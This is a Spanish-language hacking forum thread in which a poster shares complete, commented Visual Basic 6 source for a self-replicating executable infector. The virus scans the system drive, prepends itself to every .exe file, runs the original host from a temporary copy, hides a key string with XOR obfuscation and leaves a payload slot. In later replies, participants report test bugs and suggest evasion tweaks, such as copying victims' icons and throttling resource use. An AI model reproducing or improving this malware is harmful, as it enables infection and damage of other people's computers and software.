Autor
|
Tema: [Source] Infección de ejecutables en VB6 (Leído 22,543 veces)
|
Mad Antrax
|
Infección de Ejecutables en Visual Basic 6.0Bueno, ya he finalizado el proyecto, lo he testeado en una máquina virtual y funciona a la perfección Os dejo el código comentado, tambien os dejo una versión compilada del proyecto y un ZIP con el source Como funciona?1- El programa principal busca por el disco duro todos los archivos con extension *.exe 2- Cuando encuentra uno, crea una copia del virus con el siguiente formato: [VIRUS]+Marca+[HUESPED] 3- Cuando se ejecuta un archivo infectado, el virus busca la Marca para separar el [VIRUS] del [HUESPED] y ejecutarlos de forma separada Form1.frmPrivate Sub Form_Load() App.TaskVisible = False If App.PrevInstance = True Then End SelfCheck End Sub
InfectModule.bas Function SelfCheck() On Error Resume Next Dim MyCode As String 'Se abre a si mismo, lee su codigo y lo guarda en "MyCode" Open App.path & "\" & App.EXEName & ".exe" For Binary As #1 MyCode = Input(LOF(1), 1) Close #1 'Separa "MyCode" buscando la marca de infección (**X**) Buffer = Split(MyCode, "(**X**)") If UBound(Buffer) = 1 Then 'Si existe la marca: Llama la funcion "DivideFiles" con el argumento del código del Huésped Hostage = Buffer(1) DivideFiles Hostage Else 'Si NO existe la marca: Llama la funcion "Subfolders" con el argumento de unidad del Sistema (C:\) Subfolders (Environ("SystemDrive") & "\") DoEvents End End If End Function Function DivideFiles(ByVal Hostage As String) Randomize On Error Resume Next Dim TmpFile As String 'Crea un archivo temporal con el código del Huésped, por ejemplo: 'C:\DOCUME~1\USER\CONFIG~1\Temp\85061.exe TmpFile = Environ("TMP") & "\" & Int((Rnd * 99999) + 1) & ".exe" Open TmpFile For Binary As #1 Put #1, , Hostage Close #1 DoEvents 'Ejecuta el archivo temporal (el Huésped) y llama al "PayLoad" del virus Shell TmpFile, vbNormalFocus Call ExecPayload End Function Function InfectFile(ByVal Victim As String) On Error Resume Next Dim VictimCode As String Dim NewCode As String Dim MyCode As String 'Se abre a si mismo, lee su codigo y lo guarda en "MyCode" Open App.path & "\" & App.EXEName & ".exe" For Binary As #1 MyCode = Input(LOF(1), 1) Close #1 'Abre el archivo Huésped, lee su código y lo guarda en "VictimCode" Open Victim For Binary As #1 VictimCode = Input(LOF(1), 1) Close #1 'Crea la variable "NewCode" donde se guarda: MyCode + (**X**) + VictimCode NewCode = MyCode & "(**X**)" & VictimCode 'Sobrescribe el archivo Huésed con el infectado Open Victim For Binary As #1 Put #1, , NewCode Close #1 End Function Function IsInfected(ByVal File As String) As Boolean On Error Resume Next Dim FileCode As String 'Abre el archivo "File", lee su codigo y lo guarda en "FileCode" Open File For Binary As #1 FileCode = Input(LOF(1), 1) Close #1 'Separa "FileCode" buscando la marca de infección (**X**) Buffer = Split(FileCode, "(**X**)") 'Devuleve "True" o "False" si ha encontrado la marca (**X**) If UBound(Buffer) <> 0 Then IsInfected = True Else IsInfected = False End If End Function Function Subfolders(path) On Error Resume Next 'Se cifra el string que carga el objeto Scripting.FileSystemObject Set fso = CreateObject(bullet("Qapkrvkle,DkngQ{qvgoM`hgav")) Set Drives = fso.Drives newpath = path Set Fold = fso.GetFolder(newpath) Set Files = Fold.Files For Each File In Files ext = fso.GetExtensionName(File.path) ext = LCase(ext) nam = LCase(File.Name) If (ext = "exe") Then If IsInfected(File.path) = False Then InfectFile (File.path) DoEvents End If End If Next Set File = Fold.Subfolders For Each Subfol In File Call Subfolders(Subfol.path) Next End Function Function ExecPayload() '####################################################### '## Si quieres que los archivos infectados ejecuten ## '## la función de buscar e infectar nuevos archivos ## '## elimina los comentario que hay a continuación ## '####################################################### 'Subfolders (Environ("SystemDrive") & "\") 'DoEvents MsgBox "Aqui empieza el código del PayLoad, añade las funciones que desees, como por ejemplo un webdownloader o un irc_bot" End End Function
Encryption.basFunction bullet(FullCode) 'Funcion que cifra Strings con el operador XOR For i = 1 To Len(FullCode) Current = Mid(FullCode, i, 1) Code = Chr(Asc(Current) Xor 2) bullet = bullet + Code Next End Function
Adjunto el código fuente del proyecto. OJO no el código compilado en vuestra maquina, porque infectaria vuestros archivos xD Ir con cuidado, Saludos!!
|
|
« Última modificación: 30 Junio 2007, 15:16 pm por ||MadAntrax|| »
|
En línea
|
No hago hacks/cheats para juegos Online. Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.
|
|
|
Mad Antrax
|
Esté código lo programé enterito para el Laboratorio del foro, pedí si podía sacar el código fuera y aquí lo teneis, de pueden mejorar algunas cosillas, vosotros mismos...
Saludos!!
|
|
|
En línea
|
No hago hacks/cheats para juegos Online. Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.
|
|
|
Hendrix
|
Yo estoy haciendo mi metodo....estoy haciendo pruebas de como substituir el entrypoint del programa por el mio, ya que de tu manera, el icono siempre sera el de TU programa, es decir, el del VB, esto canta mucho, si alguien se mete a buscar algo en su HD y se encuentra con los ejecutables todos con el mismo icono del VB...XDDD Lo dicho, si logro terminarlo lo posteare, ya que no voy a usar al codigo... Salu2 PD: esto no estaba ya explicado por WarGhost en un papper???
|
|
|
En línea
|
"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
|
|
|
Mad Antrax
|
ya que de tu manera, el icono siempre sera el de TU programa, es decir, el del VB, esto canta mucho, si alguien se mete a buscar algo en su HD y se encuentra con los ejecutables todos con el mismo icono del VB...XDDD
Exacto, pero eso tiene facil solución... antes de infectar el archivo hay que leer su icono y escribirlo a nuestro código vírico, en mis pruebas con una máquina virtual funciona de maravilla, solo tienes que añadir el módulo de IconChanger.bas que ya postee aqui. Saludos!! PD: esto no estaba ya explicado por WarGhost en un papper??? Mi código es del 29 Junio 2006, desconozco si WarGhost lo hizo antes o después. Saludos!!
|
|
|
En línea
|
No hago hacks/cheats para juegos Online. Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.
|
|
|
Hendrix
|
Ok...lo del icono me extraño, ya que canta mucho, y como no posteaste el modulo del icono pues crei que no lo cambiabas... Un Saludo.
|
|
|
En línea
|
"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
|
|
|
nhaalclkiemr
Desconectado
Mensajes: 1.678
Máximo exponente 9DB9F1AEED2FADBDE 997BBE20FEDA92
|
Muy bueno, lo provaré (En Virtual PC claro esta) ¿Y que habría que modificar en el codigo para que infectase solo a un .exe determinado? No a todos Y una cosa, esto es una aplicacion o el codigo se lo añadimos por ejemplo a un archivo que tengamos nosotros?? Muy buenos todos tus trabajos Un saludo
|
|
|
En línea
|
StasFodidoCrypter 1.0 - 100% (old) | StasFodidoCrypter 2.0 - 85% (deserted) | Fire AV/FW-Killer - 97% (deserted) | R-WlanXDecrypter 1.0- 100% |
|
|
|
byebye
Desconectado
Mensajes: 5.093
|
Yo estoy haciendo mi metodo....estoy haciendo pruebas de como substituir el entrypoint del programa por el mio eso no va a funcionar. 1º si es en vb olvidate, si aun asi logras escribir alguna rutina que sirva de algo en otros pcs lo tiene crudo ya que si infectas (lo que es una verdadera infeccion) el codigo se escribe de forma distinta a la "normal" no se puede llamar a las funciones tal cual, por ejemplo: MessageBoxA(..................) <---- Esto no funciona a la hora de una infeccion 2º si infectas un ejecutable no tienes que poner tu entrypoint, dependiendo el metodo de infeccion calcularas de una forma o de otra el inicio de tu codigo en el archivo infectado, ese sera tu entrypoint ahora ya que en una infeccion te "desprendes" de tu cabecera. 3º es aconsejable dejar todos los registros y flags como estaban antes de devolver el control al programa original en vb veo esto poco factible. todo esto suponiendo que quieras hacerlo en vb.
|
|
|
En línea
|
|
|
|
nhaalclkiemr
Desconectado
Mensajes: 1.678
Máximo exponente 9DB9F1AEED2FADBDE 997BBE20FEDA92
|
Lo prové y algunos fallos: -Durante la infeccion consume todos los recursos del sistema, en mi Virtual PC me apareció al advertencia "Minimo de memoria virtual" y tengo establecidos 512MB de RAM. Aunke tarde un poko mas debería actuar en segundo plano...pues puede que la victima desconfie o simlemente se le bloquee y reinicie... -Una vez infectada la victima, las aplicaciones no se ejecutan con parametros, es decir, si abres un documento de texto Windows por defecto ejecuta "notepad.exe %1" pues si esta infectado solo se ejecutará "notepad.exe". Es decir, al abrir un archivo de texto simplemente se abrira el block de notas pero no abrira el archivo seleccionado...lo mismo pasa con archivos de musica y tal... Otro ejemplo, si escribes en ejecuta "cmd.exe /C "tasklist" en verdad te ejecutara "cmd.exe" simplemente se abrira la consola sin hacer nada mas... Otro ejemplo, si dentro de la consola escribes cualquier comando como por ejemplo "taskkill /F /IM proceso.exe" simplemente te ejecutará "taskkill" por lo que en la ventana te aparecerá la ayuda de taskkill (que es lo que este responde cuando lo ejecutas sin parametros) Por esto mismo los .bat tambien quedan inservibles En resumen, los .exe infectados omiten cualquier parametro en su ejecucion... Por el resto todo bien, aun no lo prové demasiado, de momento esos fueron los dos errores mas salientables... Buen trabajo Un saludo
|
|
|
En línea
|
StasFodidoCrypter 1.0 - 100% (old) | StasFodidoCrypter 2.0 - 85% (deserted) | Fire AV/FW-Killer - 97% (deserted) | R-WlanXDecrypter 1.0- 100% |
|
|
|
Mad Antrax
|
En mi máquina virtual el virus no consume tantos recursos, pero eso es tan facil como poner un sleep cada 100 archivos y solucionado.
El tema de los parametros ya era consciente, se puede solucionar de forma sencilla con una función más que recoja los parametros y se los envíe a la aplicación infectada
Para terminar, los archivos de system32 (cmd, taskkill, tasklist, etc...) tiene habilitado el SFC de Windows (Sistema de Protección de Archivos), si un virus o similar modifica, sobreescribe o elimina un ejecutable, esté se creará de nuevo pasado unos segundos. Es por eso que no se puede infectar el cmd, explorer, tasklist, etc...
Saludos!!
|
|
|
En línea
|
No hago hacks/cheats para juegos Online. Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.
|
|
|
Saok Dagon
Desconectado
Mensajes: 115
SaOk
|
Hola
bua esta mortal nen
Yo de siempre habia usado otra técnica, pero esta aparte de mas simple veo que es mas efectiva.
Lo unico que no encuentro es lo del IconChanger.bas que dices para mejorarlo.
saludos
|
|
|
En línea
|
|
|
|
|
|